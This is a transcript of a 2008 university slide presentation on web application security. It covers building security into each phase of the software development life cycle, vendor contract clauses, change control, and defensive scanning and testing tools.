NIST: Security Considerations in the Information System Development Life Cycle InitiationAcquisition/ Development ImplementationOperations/ Maintenance Disposition Linkage of Need to Mission and Performance Objectives Assessment of Alternatives to Capital Assets Preparing for investment and budgeting _________________ Security Categorization Preliminary Risk Assessment Functional Need Doc. Market Research Feasibility Study Requirements Analysis Alternatives Analysis Cost-Benefit Analysis Risk Management Plan and Assessment Acquisition Planning ____________________ Security Functional Requirements Analysis Security Assurance Requirements Analysis Cost considerations Security Planning Security Control Development Developmental Security Test and Evaluation Installation Inspection Acceptance testing Initial user training Documentation ____________________ Inspection and Acceptance System Integration Security Certification Security Accreditation Performance measurement Contract modifications Operations Maintenance ____________________ Configuration Management and Control Continuous Monitoring Appropriateness of disposal Exchange and sale Internal organization screening Transfer and donation Contract closeout ______________ Information Preservation Media Sanitization Hardware and Software Disposal http://csrc.nist.gov/publications/nistpubs/800-64/NIST-SP800-64.pdf

Remember - Essentials of a Comprehensive Web Security Program – Principles?* Risk Based –Principle 8. Implement tailored system security measures to meet organizational security goals –Principle 11. Protect against all likely classes of “attacks.” * NIST Special Publication 800-27 Rev A - Engineering Principles for Information Technology Security (A Baseline for Achieving Security), Revision A ( http://csrc.nist.gov/publications/nistpubs/800- 27A/SP800-27-RevA.pdf)

8 Steps to Integrating Security into your SDLC NIST and ISO are complex and expensive to implement. NIST recommendation is to adopt and modify as necessary. We modified it to: 1.Document a formal program 2.Train 3.Requirements 4.Architecture and Design 5.Implementation 6.Deployment 7.Operations / Maintenance 8.Decommissioning

Integrating Security into SDLC Step 1: Create a formal document, outlining a program centered on secure application deployment. Describe the standards, practices and policy for development or acquisition and maintenance of any system. Use NIST, ISO 27001:2005, PCI, or any other security standards that best fit your organization. This document should delineate roles and responsibilities, outline a methodology for project planning and management across the software development life cycle, and include a template for analysis of data privacy and retention. It would typically outline how confidential data should be collected, categorized/inventoried, stored, shared, and managed across time. It would describe how any applications that "touch" this data should be implemented. Auditing and encryption requirements would be covered as well as the standard set of technologies that have been approved for application development (a Technical Reference Architecture). Additionally, for the higher risk changes, a formal change management process would be documented.

Integrating Security into SDLC Step 2: Train If users are not educated on security concerns, regulations, and laws, any system will fail. –Email will be unintentionally used to transmit regulated or confidential information –Private data will be entered into a text field Train Project Leaders, Programmers and Business units on data security and policy. Don’t assume technical staff and vendors are aware of all security issues. –Assign appropriately trained staff, mentors/reviewers

Use Educause!

Integrating Security into SDLC Step 3: Requirements Acquisition or development –Identify Security requirements at requirements gathering phase –Examples of questions to ask and put into formal template? Any personal or confidential data? Compliance requirements – PCI, SB1386, FERPA, HIPAA? If 24/7 uptime is required with clustering and load balancing, think about logging requirements… –do logs need to be centralized? easily audited for forensics analysis? –Retention period? Tamper-proof? Risk assessment – normal or high risk application?

Requirements Template 1.1 User Classes and Characteristics 2.5 Design and Implementation Constraints 3.4 Communications Interfaces 5.3 Security Requirements

Integrating Security into SDLC Step 4: Architecture and Design Dedicate a Security role in your organization Security Architecture must –address and support multiple layers of protection, including database, network level, operating system, and application level security –be flexible to support the introduction and/or integration of new technologies –provide a modular approach to authentication, authorization, and audit

Security Architecture – Multi-layer

Security Architecture Lifecycle – focus on Standardization

Security Architecture Design Consider security during initial system design Delegate access control as appropriate Centralize security policy, maintenance operation and oversight functions Assign security levels consistently and at the lowest level of access required by the individual Identify vulnerable points. Design and reuse common and tested components Consolidate storage of sensitive data – important!

Communication between distributed components Document how the data is used by each component Transmissions/exchanges of private information must be encrypted using protocols like: –HTTPS –SFTP –SSH –STunnel –VPN How does an application or component authenticate to another service?

Application Logging Web application logging should be set at an appropriate level to detect intruder or hacking activity for real time or post-mortem forensic analysis Logs should be stored and archived in a central and secure location such that only administrators can view and no one can alter them Examples: –Web access logs that include time, IP, URL –Authentication/authorization logs that include time, IP, user, auth result –Database audit logs of access to sensitive data including time, user, SQL statement/object –Logs of critical application-specific activity Prepare for that Forensics Audit. Design your applications for it.

Integrating Security into SDLC Step 5: Implementation Implementation/Acquisition – make security “routine” Require code reviews of all security and database code Require developers to build unit test harnesses –JUnit Require developers to reuse security components –Single-signon, authorization API, user identity objects Automate nightly code and application security scanning –Jtest, AppScan, WebInspect, Nessus, database security scanning Schedule network & configuration vulnerability scanning –Foundstone, Sophos virus scans, Tripwire De-identify confidential test data Write and use manual security test procedures Perform concurrency and stress testing –Jmeter, OpenSTA (100s of concurrent virtual test user load)

Code Review – It is a Process Manual Code Review should at LEAST focus on http://www.owasp.org/index.php/Code_Review_Processes : http://www.owasp.org/index.php/Code_Review_Processes Authorization Access Control Input Validation Error Handling Session Management Form Keys or Frequent Session Rotation (for CSRF defense) Proper Application Logging Use Automated Tools – pay attention to false negatives and false positives. Not replacement for manual code reviews. JTest, OWASP’s Code Crawler Metrics - http://www.owasp.org/index.php/Code_review_Metricshttp://www.owasp.org/index.php/Code_review_Metrics Defect density Lines of code Function points Risk density –Eg: 4 High Risk Defects per 1000 (Lines of Code) 2 Medium Risk Defects per 3 Function Points Cyclomatic complexity = decision points + 1 ; (if/else/switch/case): –0-10: Stable code. Acceptable complexity –11-15: Medium Risk. More complex –16-20: High Risk code. Too many decisions for a unit of code. Needs re-design/re-write.

Functional Testing Do you use formal Test Plans or AdHoc? Tied to Security Requirements? Done by developers and end users? Do Pilot Users test methodically using Test Plans? How do you ensure testing coverage is adequate? SQL Injection and XSS testing Browser Compatibility Testing (ex: browser cache) Regression testing

Storing sensitive data AVOID storing sensitive data if at all possible! If you have to store sensitive data: –Encrypt table records and/or files that contain: password, SSN, home phone/address, credit card, bank account, Driver's License, non-public student or employee data, or FERPA blocked student data –Encrypt storage at database/file and application layer Database encryption is not enough! Protects from lost/stolen disk or backup, not from SQL-Injection hack attack Multi-layer security protection - User account breach won’t allow decryption –Use encrypted transmission for data retrieval and modification

Data modelling When designing database tables: –No confidential data elements should be used as keys in tables (e.g. SSN) –Normalize to consolidate confidential data into a single table Audit ONE table, not many Encrypt ONE table, not many Mock intruder alert drills and prepare! Review logs for forensics capability

Sample Checklists Portal SDLC Documentation –SDLC Process Requirements – Sections of our template address specific security requirements. Project Plan includes review schedule. –Development / Vendor Selection Guidelines –Database Review, SQL Server Setup Checklist –Code Review Checklist, Test Templates –Security Manual Test Procedure –Security Assessment and Checklists –Architecture Review

Integrating Security into SDLC Step 6: Deployment Create secured test and production environment Cross train Helpdesk, Sys Admin, support staff “Market” Application security risks and policy –Consider policy to disallow confidential data on laptops or other portable devices Professionally administered system and data backups? –backups identify compromised individuals –Off-site backups? Where? At home? Disaster recovery plans? Security Checkoff? SDLC Approvals? (Prior to production release)

SDLC Approvals (Moving to JIRA Workflow)

Integrating Security into SDLC Step 7: Operations/Maintenance Catalogue and inventory use of personal data Repeated “routine” reviews and scanning Apply all security patches at all architectural layers in a timely manner –OS, Firewall, Database, Platform Audit/log access to confidential data Change control –Weekly meeting for all developers and administrators –2 week notice of all turnovers/change required and plans –Use a campus Calendar to publish schedule. Reduced collisions –Fewer “emergency” changes means fewer security vulnerabilities

Our Change Control Process Coordinate and schedule changes in network, database, applications, OS, firewalls and configurations –avoid downtime due to collisions –avoid accidental security exposures –We use Oracle Calendar All developers, system and network admins meet every Tuesday morning for at least 15 minutes! 2 week notice of all planned changes –Test Plan and security checklist required High/low risk identified on all changes Changes recorded in ServiceDesk

Integrating Security into SDLC Step 8: Decommissioning Decommissioning of Application and Data Data –Retention/preservation compliance? Properly dispose hardware and software –Does data retention period collide with a software end-of-life? Clipper/DOS 6.2? –Can OS and hardware run it today if necessary to restore data? Is data warehousing required? –Sanitize media professionally, including backups Update catalogue of personal data!

UC Irvine’s Incident United Health Care – organized ring of internal staff was responsible for stealing SSNs of UC Irvine Graduate Students.

Procurement Practices ISO/IEC 27002:2005, Reference 6.2.3 – Addressing Security in Third Party Agreements NIST SP. Pub. 800-53, Rev. 2; Section 2.4 – Security Control in External Environments NIST CSPP - Guidance for COTS Security Protection Profiles –http://csrc.nist.gov/publications/nistir/ir6462.pdfhttp://csrc.nist.gov/publications/nistir/ir6462.pdf PCI – Requirement A.1 – Hosted Providers Protect Cardholder Data Environment –https://www.pcisecuritystandards.org/docs/saq_d_v1- 1.dochttps://www.pcisecuritystandards.org/docs/saq_d_v1- 1.doc

Contract language should cover Glossary / Definitions: What is “Confidential Data”? Use of data Data Sharing Data Protection Expectations Data Transmission / Encryption Data Protection after Contract Termination Notification of Security Incidents Security Incident Investigation Security Audits/Scans (Independent Verification) Indemnification as a Result of Security Breach References to Third Party Compliance with University Policies, Standards, Guidelines, And Procedures References To Third Party Compliance With Applicable Federal, State Local Laws/Regulatory Requirements. –Reference: ISO/IEC 27002:2005, Reference 6.2.3(a); (r) –Reference: NIST Sp. Pub. 800-53, Rev. 2; Control SA-9

Educause Security Task Force: Contract Language Toolkit – Draft Vendor agrees to have an independent third party (e.g. Cap Gemini Ernst & Young, Deloitte & Touché, or other industry recognized firms) security audit performed at least once a year. The audit results and vendor’s plan for addressing or resolving of the audit results shall be shared with the University within XX (X) days of the Vendor’s receipt of the audit results. The audit should minimally check for buffer overflows, open ports, unnecessary services, lack of user input filtering, cross site scripting vulnerabilities, SQL injection vulnerabilities, and any other wellknown (published on bugtraq or similar mailing list) vulnerabilities. The University reserves the right to require the vendor to provide the results of an audit of security policies, practices, and procedures on an annual or biennial basis. This audit must be performed by a third-party approved by the University. The University reserves the right to request the results of a vulnerability scan for the Vendor’s production environment. Production environment is here defined as all systems that interact with the service contracted for herein including any systems that hold, process, or from which University data may be accessed. A vulnerability scan is defined as a scan by a network vulnerability scanner such as Nessus or ISS. The University reserves the right to request the results of a formal penetration test. A penetration test is here defined as "the process of using approved, qualified personnel to conduct real-world attacks against a system so as to identify and correct security weaknesses before they are discovered and exploited by others.“ See http://www.ffiec.gov/ffiecinfobase/booklets/e_banking/ebanking

ASP Vendor Security Checklist  What certification or audits does the University have that the system will be managed per our guidelines and contract agreement?  How do you manage the system for detection of intrusion.  How often is the system patched, by whom and when?  How are we notified if system security is breached? Notification handling?  How is data purged from the vendor's hardware?  How are disks, tapes, or computers that might store sensitive data disposed of? Are the media erased before disposal or reuse?  Where is the hardware location? Is it inside or outside of the United States? Is it subject to our laws?  Are the personnel who administer and use the hardware located within the United States and subject to our laws?  Is data encrypted?  If private data is transmitted, either via Internet, on CD-ROM or file transfer, is it encrypted?  Is SSL enabled to the application so that traffic over the Internet, including authentication is secure and private?  Data loss, data backups: what are the guarantees? Are backups stored offsite? If backups have sensitive data, are the backups encrypted? Can we store the backup at UCI? How about disaster recovery planning?  How is the hardware or database distributed by the vendor among customers? Is one hardware used for all customers? Is a single database used for all customers or does each customer have a private database?  How are user accounts managed?

Development Tools Unit Testing - JUnit* for Java Whitebox Unit Testing, Integrated with Eclipse Issue Tracking - JIRA, SDLC approvals/workflow for production control Firefox Extensions –Web application debugging Firebug Web Developers Toolbar –Tamper Data – modify HTTP Request https://addons.mozilla.org/firefox/966/ –Add N Edit Cookies https://addons.mozilla.org/firefox/573/ OWASP’s WebScarab – modify HTTP Request and Response, etc. *Free

QA Tools Code Scanning –JTest, Code Crawler –Use Cyclomatic Code Complexity to determine if a code review is even appropriate! Load/Stress Test –JMeter Wikto: Web Server Assessment Tool –http://www.sensepost.com/research/wikto/index2.htmlhttp://www.sensepost.com/research/wikto/index2.html Web Application Scanning / Penetration Testing –Nessus* –WebInspect http://www.spidynamics.com/http://www.spidynamics.com/ –Watchfire Appscan http://www.watchfire.com/products/appscan/default.aspx http://www.watchfire.com/products/appscan/default.aspx *Free

Watchfire Appscan NACS and AdCom licensed Can scan web applications faster and more thoroughly than only manual testing

Tamper Data Free Firefox add-on that facilitates parameter tampering Easily remove, add, or modify parameters before any request Includes shortcuts for common exploits Can be used to bypass client-side validation https://addons.mozilla.org/en- US/firefox/addon/966https://addons.mozilla.org/en- US/firefox/addon/966

Tamper Data – Firefox Plugin

Administrator Tools VPN with virus/rootkit/key logger scanning 2 factor authentication Intrusion Detection Systems –TripWire, OSSEC* Log Analysis – Splunk* Network and Configuration Scanning Tools –NMAP*, Foundstone, SiteDigger* OS –Microsoft Baseline Security Analyzer* *Free

Database Administrator Tools Database Scanning / Hardening –Microsoft Baseline Security Analyzer* –Imperva’s Scuba* Example of security report from our Credit Card Processing SQL Server: –(high) xp_cmdshell not removed: this procedure allows issuing operating system commands directly to the command shell –GRANT given on registry stored procedure: Permissions is grated on store procedures that allow reading and writing sensitive data from Windows registry Web Application Security is ALL ABOUT THE LAYERS! *Free

Web Application Firewalls XSS, Injection Protection and beyond… –Apache Web Application Firewall mod_security * - http://www.modsecurity.org/ http://www.modsecurity.org/ –IIS URLScan / IISLockDown * Open Source Aqtronix: http://www.aqtronix.com/?PageID=99 http://www.aqtronix.com/?PageID=99 Hardware Appliance vs Software solutions –Hardware: Fast and Expensive Vendors: Citrix, Imperva, many more –Software: Cheap(er) and Slow(er) * Free

NIST Glossary (87 pages!) http://csrc.nist.gov/publications/nistir/NISTIR- 7298_Glossary_Key_Infor_Security_Terms.pdf

OWASP Glossary (35 pages) http://www.owasp.org/index.php/Category:Glossary

ISO Glossary (18 pages) http://www.iso27001security.com/ISO27k_glossary_2008_02_06.htm http://www.iso27001security.com/ISO27k_glossary_2008_02_06.htm

PCI Glossary (11 pages) https://www.pcisecuritystandards.org/pdfs/pci_dss_glossary_v1-1.pdf

Resources Open Web Application Security Project (OWASP) - http://www.owasp.org/index.php/Category:OWASP_Project http://www.owasp.org/index.php/Category:OWASP_Project Educause - http://www.educause.edu/SecurityTaskForce/Resources/1225http://www.educause.edu/SecurityTaskForce/Resources/1225 National Institute of Standards and Technology (NIST) Computer Security Division - http://csrc.nist.gov/ http://csrc.nist.gov/ NIST: Security Considerations in the Information System Development Life Cycle http://csrc.nist.gov/publications/nistpubs/800-64/NIST-SP800-64.pdf National Institute of Standards and Technology (NIST) National Vulnerability Database Checklist Site - http://checklists.nist.gov/http://checklists.nist.gov/ ISO/IEC 27001:2005 “Information Security Requirements” –http://www.iso.org/iso/catalogue_detail?csnumber=42103http://www.iso.org/iso/catalogue_detail?csnumber=42103 ISO/IEC 27001:2005 “Specification for an Information Security Management System” –http://www.iso27001security.com/html/27001.htmlhttp://www.iso27001security.com/html/27001.html ISO/IEC 27001 & 27002 “Implementation Guidance and Metrics” –http://www.iso27001security.com/ISO27k_implementation_guidance_1v1.pdfhttp://www.iso27001security.com/ISO27k_implementation_guidance_1v1.pdf ISO Glossary of Terms http://www.iso27001security.com/ISO27k_glossary_2008_02_06.htmhttp://www.iso27001security.com/ISO27k_glossary_2008_02_06.htm PCI-DSS - https://www.pcisecuritystandards.org/https://www.pcisecuritystandards.org/ US Computer Emergency Readiness Team (US-CERT)- http://www.us-cert.gov/http://www.us-cert.gov/ SANS - http://www.sans.org/http://www.sans.org/ Secunia - http://secunia.com/http://secunia.com/

What we learned today! Primary Attach Vectors, Hacking Techniques and Exploits, Defensive programming / Solutions –OWASP’s Top 10 list –Dealing with Web Browser cookies, auto-complete, and caches –Database reader/writer accounts – DB injection/Web Application Design best practices, running with least privileged account –Session management to avoid hijacking and middleman attacks What are the essentials of a comprehensive web security program? Effective practices? –Embedding security into your Software Development Life Cycle - For Managers, For Developers/QA, For System and Database Administrators –Education and Training –Security Architecture, Firewalls –Secure Web Application Architecture and Infrastructure, Secure AJAX and Web Services? –Authentication, Authorization and Access Control –Logging, OSSEC, Splunk –Encryption, Cryptography –Securing/Patching OS –Securing Databases –Securing Web Servers – Apache’s mod_security module, Coldfusion, IIS –Reviews, Checklists, Audits and Self Assessments, Security Test Day Security Frameworks - ISO, NIST, PCI, Cobit - which one? Integrating Security into the SDLC Procurement Practices - Dealing with Vendor or hosted applications, Contract Language Tools - Scanning, Penetration Testing, DB/OS Hardening and beyond –OWASP, NMap, Nessus, MBSA, Scuba, OSSEC, Splunk, Foundstone, AppScan, Firebug, TamperData, WebScarab Glossary Resources - SANS, OWASP, CERT, Secunia, GIAC (GSSP), CISSP, EDUCAUSE

Printed Materials Unix Security Checklist - http://www.cert.org/tech_tips/usc20_full.htmlhttp://www.cert.org/tech_tips/usc20_full.html Microsoft Checklist: –Securing Your Database Server - http://msdn.microsoft.com/en-us/library/aa302337.aspxhttp://msdn.microsoft.com/en-us/library/aa302337.aspx –Securing Your Web Server - http://msdn.microsoft.com/en-us/library/aa302351.aspxhttp://msdn.microsoft.com/en-us/library/aa302351.aspx ISO Glossary of Terms –http://www.iso27001security.com/ISO27k_glossary_2008_02_06.htmhttp://www.iso27001security.com/ISO27k_glossary_2008_02_06.htm ISO/IEC 27001 & 27002 “Implementation Guidance and Metrics” –http://www.iso27001security.com/ISO27k_implementation_guidance_1v1.pdfhttp://www.iso27001security.com/ISO27k_implementation_guidance_1v1.pdf PCI-DSS Questionnaire D and Attestation of Compliance –https://www.pcisecuritystandards.org/docs/saq_d_v1-1.dochttps://www.pcisecuritystandards.org/docs/saq_d_v1-1.doc Educause Security Task Force –Effective Practices - https://wiki.internet2.edu/confluence/display/secguide/Homehttps://wiki.internet2.edu/confluence/display/secguide/Home –UC Irvine Effective Practices - https://wiki.internet2.edu/confluence/display/secguide/Applications+and+System+Develop ment https://wiki.internet2.edu/confluence/display/secguide/Applications+and+System+Develop ment UC Irvine’s Administrative Computing Services SDLC –Portal Page - http://snap.uci.edu/viewXmlFile.jsp?resourceID=1433http://snap.uci.edu/viewXmlFile.jsp?resourceID=1433 –Requirements Template - http://snap.uci.edu/xml/sdlc/standards/RequirementsTemplate.doc http://snap.uci.edu/xml/sdlc/standards/RequirementsTemplate.doc –SDLC Approvals http://apps.adcom.uci.edu/expresso/econtent/Content.do?resource=2044 http://apps.adcom.uci.edu/expresso/econtent/Content.do?resource=2044

Web Application Security 10/28/2008 Neil Matatall, Security Programmer Analyst Marina Arseniev, Director – Enterprise Architecture, Security, and Data.

Similar presentations

Presentation on theme: "Web Application Security 10/28/2008 Neil Matatall, Security Programmer Analyst Marina Arseniev, Director – Enterprise Architecture, Security, and Data."— Presentation transcript:

Similar presentations

About project

Feedback

Log in

Auth with social network:

Web Application Security 10/28/2008 Neil Matatall, Security Programmer Analyst Marina Arseniev, Director – Enterprise Architecture, Security, and Data.

Similar presentations

Presentation on theme: "Web Application Security 10/28/2008 Neil Matatall, Security Programmer Analyst Marina Arseniev, Director – Enterprise Architecture, Security, and Data."— Presentation transcript:

Similar presentations

About project

Feedback